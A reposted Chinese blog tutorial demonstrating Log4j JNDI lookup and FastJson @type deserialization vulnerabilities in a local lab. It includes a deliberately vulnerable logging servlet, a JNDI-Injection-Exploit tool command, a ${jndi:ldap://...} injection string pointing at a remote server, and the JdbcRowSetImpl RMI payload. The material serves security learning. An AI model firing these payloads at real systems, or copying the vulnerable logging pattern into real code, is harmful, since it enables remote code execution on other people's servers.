Java安全—log4j日志FastJson序列化JNDI注入

前言

log4j和fastjson都是这几年比较火的组件,前者是用于日志输出后者则是用于数据转换,今天我们从源码来说一下这两个组件为何会造成漏洞。

实验环境

这里的idea要进行一下配置,因为我们要引用第三方组件,而这些第三方组件都是从国外的库来下载的,我们需要配置成国内的库不然就比较慢啥的。

Maven 配置:https://www.jb51.net/article/259780.htm

需要注意一下,最后测试的步骤把导入org.junit.Test换成导入org.junit.jupiter.api.Test即可解决报错。

log4j

Apache 的一个开源项目,通过使用 Log4j,我们可以控制日志信息输送的目的地是控制 台、文件、GUI 组件,甚至是套接口服务器、NT 的事件记录器、UNIX Syslog 守护进 程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能 够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来 灵活地进行配置,而不需要修改应用的代码。

先新建一个java项目,命名为Log4j—demo。

可以在外部库看到引用了很多第三方库,但是没有Log4j,我们需要引进一下。

访问这个jar包网站,直接搜log4j。

https://mvnrepository.com/

可以看到log4j这个组件在2.17.1版本之后就没有漏洞了,我们这里选择2.13.1版本的,其它的也行。

点击进去选择Maven。

复制里面的内容到pom.xml这个文件下面,然后更新,就可以看到这个外部库被下载下来啦。

新建一个名为Log4j的文件。

写入以下的代码。

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class Log4jTest {private static final Logger logger = LogManager.getLogger(Log4jTest.class.getName());public static void main(String[] args) {logger.error("Hello World");}
}

运行输出日志Hello World。

ok现在我们怎么利用呢,我们把代码修改一下,那么现在是会输出${java:os}还是说输出别的呢。

直接运行发现并没有输出${java:os},而是输出了我们系统的版本信息,这是为啥呢?原来当Log4j在输出日志的时候遇到$符号就会把{}里面的东西当作代码来执行,从而造成RCE!!!

当我们的code这个变量是可控的时候就会造成RCE漏洞,所以我们现在搞个网站来试试,新建一个项目,命名为log4j-web。

选择JavaEE8。

再新建一个java文件,命名log4jServlet。

记得到pom.xml这个文件里面,把log4j外部库导入,接着写入以下代码。

package com.sf.maven.log4jweb;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;@WebServlet("/log4j")
public class log4jServlet extends HttpServlet {private static final Logger log = LogManager.getLogger(log4jServlet.class);@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String code = req.getParameter("code");log.error(code);}
}

我们点击编辑配置。

点击左上角的+号,选择Tomcat服务器,选择本地的。

这个应用程序服务器需要你去下载一个才行,直接搜Tomcat下载即可,JDK1.8的话建议配9.0版本的Tomcat。

下载好Tomcat直接点击配置导入即可。

接着点击部署。

点击+号,选择工件,把我们两个log4j的工件部署进去。

最后点击运行就会在浏览器自动打开一个页面。

访问我们的log4j页面,对code参数传参。

回到idea这里,可以看到11被当作日志给输出来啦。

接着执行命令,直接给我跳到404了,这是咋回事呢。

原因是tomcat的版本问题,好像是tomcat7.9以上的版本,都不支持请求链接上带有特殊字符。否则会报400错误,这是因为Tomcat严格按照 RFC 3986规范进行访问解析,而 RFC3986规范定义了Url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有保留字符(RFC3986中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ])。传入的参数中有"{"不在RFC3986中的保留字段中,所以会报这个错。

所以我们直接去修改Tomcat的配置文件server.xml,把原来的注释掉,改为如下。

<Connector port="8080" protocol="HTTP/1.1"relaxedQueryChars="[]|{}^&#x5c;&#x60;&quot;&lt;&gt;"connectionTimeout="20000"redirectPort="8443" /
/>

重新运行代码执行命令,终于成功啦。

Jndi注入

说到log4j就不得不提Jndi注入了,全称Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提 供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名 服务和目录服务之间的交互。

我们利用这个JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具来演示一下jndi注入,具体原理的话下篇文章讲,生成命令为"calc"访问IP为8.149.141.189的连接。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 8.xxx.xxx.xxx
随便选个链接,ldap或者rmi都是一样的,生成出来的连接还不能直接用,我们加个括号。
${jndi:ldap://8.xxx.xxx.xxx:1389/h9joif}

这时候我们的本地电脑的计算机给我弹出来了,因为calc就是打开电脑计算机的命令。

FastJson

在前后端数据传输交互中,经常会遇到字符串(String)与 json,XML 等格式相互转换与 解析,其中 Json 以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据 交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web 输出等各 种应用场景中。FastJson 是阿里巴巴的的开源库,用于对 JSON 格式的数据进行解析和打包。说这么多,其实我说白了就是一个数据类型转换的第三方组件。

新建一个项目叫fastjson-demo。

找个有漏洞的FastJson版本组件,我这里用1.2.24版本的。

把代码复制进去下载第三方库,和上面一样。

如果报错的话是没有更新源。

把maven改为我们自己的源,不要默认的源,如果不懂就看上面链接的文章。

换了之后秒下载完成。

先新建一个软甲包,叫com.wlwznb。

再新建一个java文件,命名user。

写入以下代码,这些代码都是idea自带的直接tab补全即可。

package com.wlwznb;
public class user {private String name;private int age;public String getName() {return name;}public void setName(String name) {this.name = name;System.out.println(this.name);}public int getAge() {return age;}public void setAge(int age) {this.age = age;System.out.println(this.age);}
}

再新建一个文件叫fastjson。

我们用这个FastJson这个文件去处理user文件里面的数据,简单写一下代码。

输出。

我们现在的age和name都是字符串类型的数据,现在我要把它转换为Json的数据格式,可以用java自带的API来进行转换,但是自带的API太麻烦了我不想用,所以我引入第三方组件——FastJson。这里在原来的代码中加上两句代码,调用FastJson这个组件。

可以看到输出的数据是Json格式的。

我们现在来看看漏洞是这么造成的,把这FastJson的代码补充完整,就是输出类型。

可以看到这次输出的Json数据多了@type和com.wlwznb.user。

这个@type指定了com.wlwznb.user这个类,并且执行了里面的代码。OK,现在我们再新建一个文件命名为Run,接着写入一个命令执行的代码,执行calc命令。

再在原有的代码基础上,加上两行代码,就是把Json数据转换为字符串格式,注意此时我们的@type指定的类不再是原本的com.wlwznb.user,而是我们刚刚编写的用于命令执行的类com.wlwznb.Run。

运行代码成功弹出计算器,说上面我们说的是对的,这里我指定了com.wlwznb.Run这个类,那么在数据转换的过程就会执行这个类里面的代码。

那在实战中不可能说我们自己去写一个类呀,那咋搞。我们来看一个最典型的payload,这里指定了com.sun.rowset.JdbcRowSetImpl这个类,这个玩意是Java自带的。然后这个类里面的setAutoCommit()方法会调用 connect() 函数,connect()函数又会调用 InitialContext.lookup(dataSourceName)这个函数,InitialContext.lookup这个函数的作用就是查找并返回绑定到指定名称的对象,通俗来讲就是去请求一个资源。然而这个dataSourceName参数是可控的,所以我们指定一个恶意的资源,让它通过rmi或者ldap去请求我们的资源,并且执行我们恶意资源中的代码,从而造成jndi注入。

如果你不懂Java中的类、方法是啥意思,简答来说类就是python中封装好的模块,直接调用即可,模块里面还有很多函数啥的,这些在Java中叫方法,其实就是一样的东西。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

PS:已经尽最大的努力讲明白了

到这里可能会有人有疑问,不是说反序列话造成的漏洞吗,反序列化在哪里?这里把test这个Json数据变成字符串过程就是反序列化,上面把字符串变成Json数据就是序列化,我们讲数据转换只是为了方便理解。

总结

这里就讲了log4j和FastJson两个组件所产生的漏洞,具体怎么利用就下次讲了,还有这个Jndi注入。

最后还是要声明一下,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/61355.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【白话机器学习系列】白话 Softmax

文章目录 什么是 SoftmaxSoftmax 函数详解示例编程实现对矩阵应用 Softmax 函数 什么是 Softmax Softmax 函数&#xff0c;又称归一化指数函数&#xff0c;它使用指数函数将输入向量归一化为概率分布&#xff08;每一个元素的范围都在 ( 0 , 1 ) (0,1) (0,1) 之间&#xff0c;…

golang通用后台管理系统10(退出登录,注销token)

1.实现思路&#xff1a;将登录用户的token加入黑名单 2. //1.2 用户退出 exploreRouter.POST("/logout", sysCtrl.Logout) 3.loginController.go //用户退出 func Logout(c *gin.Context) {logger : commonLog.InitLogger()sysUser : service.GetProfile1(c)fmt.…

uniapp 页面跳转及页面返回传值

跳转传值&#xff1a; 传值页面A const data {name:0Math.random() * 100}; // 跳转页面方法 uni.navigateTo({//url: /pages/patrol/patrol?dataencodeURIComponent(JSON.stringify(data)),// 有值url: /pages/patrol/patrol?dataencodeURIComponent(JSON.stringify(null)…

C++系列之继承

&#x1f497; &#x1f497; 博客:小怡同学 &#x1f497; &#x1f497; 个人简介:编程小萌新 &#x1f497; &#x1f497; 如果博客对大家有用的话&#xff0c;请点赞关注再收藏 &#x1f31e; 继承的概念 继承机制是面向对象程序设计使代码可以复用的最重要的手段&#xf…

Swift从0开始学习 对象和类 day3

类&#xff08;Class&#xff09; 是一种类型或模板&#xff0c;描述了对象的特征和行为。对象&#xff08;Object&#xff09; 是类的实例&#xff0c;实际的实体&#xff0c;拥有自己的数据。 新入门的教学都喜欢用“人”来举例为类&#xff0c;在这里我也用“人”吧 //&…

【算法设计与分析实训】第1关:求序列的最大字段和

务描述 本关任务&#xff1a;编写用动态规划解决最大字段和问题。 相关知识 为了完成本关任务&#xff0c;你需要掌握&#xff1a;动态规划。 编程要求 给定由n个整数&#xff08;可能为负数&#xff09;组成的序列&#xff1a;a1,a2,……,an, 求该序列的最大子段和。当所有整…

Android开发实战班 - 第一部分:Android开发基础

本课程旨在帮助学员系统掌握Android开发的基础知识与技能&#xff0c;为后续深入学习与实战开发打下坚实基础。本部分课程将涵盖开发环境搭建、Kotlin语言基础、Android项目结构、Gradle构建系统、Activity生命周期以及UI布局基础等内容。内容比较基础&#xff0c;就系统的幸的…

高防服务器实现防御的方式,高防服务器的优势

高防服务器通过多种防御机制来实现对网络攻击的防护&#xff0c;确保服务器的稳定性和数据的安全性。 高防服务器实现防御的方式 - 硬件配置&#xff1a;高防服务器通常配备高性能的硬件&#xff0c;包括专业的硬件防火墙&#xff0c;以应对大流量攻击。 - 带宽资源&#xff1a…

一、Nginx反向代理(七层代理)二、Nginx的TCP/UDP调度器(四层代理)

一、Nginx反向代理&#xff08;七层代理&#xff09; 实验要求 使用Nginx实现Web反向代理功能&#xff0c;实现如下功能&#xff1a; 后端Web服务器两台&#xff0c;可以使用httpd实现Nginx采用轮询的方式调用后端Web服务器两台Web服务器的权重要求设置为不同的值最大失败次数为…

【微软:多模态基础模型】(5)多模态大模型:通过LLM训练

欢迎关注[【youcans的AGI学习笔记】](https://blog.csdn.net/youcans/category_12244543.html&#xff09;原创作品 【微软&#xff1a;多模态基础模型】&#xff08;1&#xff09;从专家到通用助手 【微软&#xff1a;多模态基础模型】&#xff08;2&#xff09;视觉理解 【微…

数字IC后端低功耗设计实现案例分享(3个power domain,2个voltage domain)

下图所示为咱们社区T12nm A55低功耗实现项目。其实这个项目还可以根据产品的需求做一些改进。改进后项目实现的难度会大大增加。也希望通过今天的这个项目案例分享&#xff0c;帮助到今年IC秋招的同学。 芯片低功耗设计实现upf编写指南&#xff08;附低功耗项目案例&#xff0…

Vue3中使用:deep修改element-plus的样式无效怎么办?

前言&#xff1a;当我们用 vue3 :deep() 处理 elementui 中 el-dialog_body和el-dislog__header 的时候样式一直无法生效&#xff0c;遇到这种情况怎么办&#xff1f; 解决办法&#xff1a; 1.直接在 dialog 上面增加class 我试过&#xff0c;也不起作用&#xff0c;最后用这种…

【图像去噪】论文精读:Pre-Trained Image Processing Transformer(IPT)

请先看【专栏介绍文章】:【图像去噪(Image Denoising)】关于【图像去噪】专栏的相关说明,包含适配人群、专栏简介、专栏亮点、阅读方法、定价理由、品质承诺、关于更新、去噪概述、文章目录、资料汇总、问题汇总(更新中) 文章目录 前言Abstract1. Introduction2. Related…

HTTP CRLF注入攻击

HTTP CRLF注入攻击 大家好&#xff0c;今天我们来聊聊一个与网络安全相关的重要话题——CRLF注入&#xff08;CRLF Injection&#xff09;。了解这种安全漏洞有助于我们更好地保护我们的应用程序和用户数据。 什么是CRLF&#xff1f; CRLF代表Carriage Return (回车) 和 Line…

免费实用的图片加水印工具

高度自定义的图片加水印工具 因工作需要和朋友的需求&#xff0c;我基于canvas开发了这款图片加水印工具。 地址&#xff1a;https://potatotools.top/toolsEntrance/pic/ImageWatermark.vue.html 功能亮点 尺寸定制 &#xff0c;轻松调整水印宽高&#xff0c;精准适配每张图…

C函数从lua中读取数据接口常用接口

读取基本数据类型的接口 lua_tonumber和lua_tointeger 用途&#xff1a;用于从Lua栈中获取数字类型的数据。lua_tonumber用于获取浮点数&#xff0c;lua_tointeger用于获取整数。示例&#xff1a;假设在Lua中调用一个C函数并传入一个数字&#xff0c;在C函数中可以这样获取这个…

51c自动驾驶~合集30

我自己的原文哦~ https://blog.51cto.com/whaosoft/12086789 #跨越微小陷阱&#xff0c;行动更加稳健 目前四足机器人的全球市场上&#xff0c;市场份额最大的是哪个国家的企业&#xff1f;A.美国 B.中国 C.其他 波士顿动力四足机器人 云深处 绝影X30 四足机器人 &#x1f…

优化装配,提升品质:虚拟装配在汽车制造中的关键作用

汽车是各种零部件的有机结合体&#xff0c;因此汽车的装配工艺水平和装配质量直接影响着汽车的质量与性能。在汽车装配过程中&#xff0c;经常会发生零部件间干涉或装配顺序不合理等现象&#xff0c;且许多零部件制造阶段产生的质量隐患要等到实际装配阶段才能显现出来&#xf…

Java 设计模式 详解

在Java开发中&#xff0c;设计模式是一种常见的、成熟的解决方案&#xff0c;用于应对特定的设计问题和复杂性管理。以下是一些常用的设计模式&#xff0c;它们可以分为三类&#xff1a;创建型模式、结构型模式和行为型模式。 一、创建型模式 创建型模式主要负责对象的创建&a…

java基础知识全集(一篇看到爽)(持续更新中)

java规范&#xff08;企业级&#xff09; 见名知意, 命名合理 强调了命名的可读性和合理性。 驼峰命名法 大驼峰&#xff1a;首字母大写&#xff0c;之后每个单词的首字母也大写&#xff08;如&#xff1a;MyVariableName&#xff09;。小驼峰&#xff1a;首字母小写&#xff0…